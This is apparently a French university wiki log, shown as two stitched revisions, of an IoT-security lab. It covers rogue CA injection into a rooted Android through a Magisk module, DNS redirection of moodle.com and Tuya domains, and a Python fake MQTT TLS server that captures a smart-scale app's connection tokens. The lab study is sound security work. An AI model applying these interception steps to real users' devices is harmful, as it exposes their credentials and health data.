C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10922</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10922"/>
		<updated>2025-12-11T16:25:43Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Redirection du poids vers notre serveur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
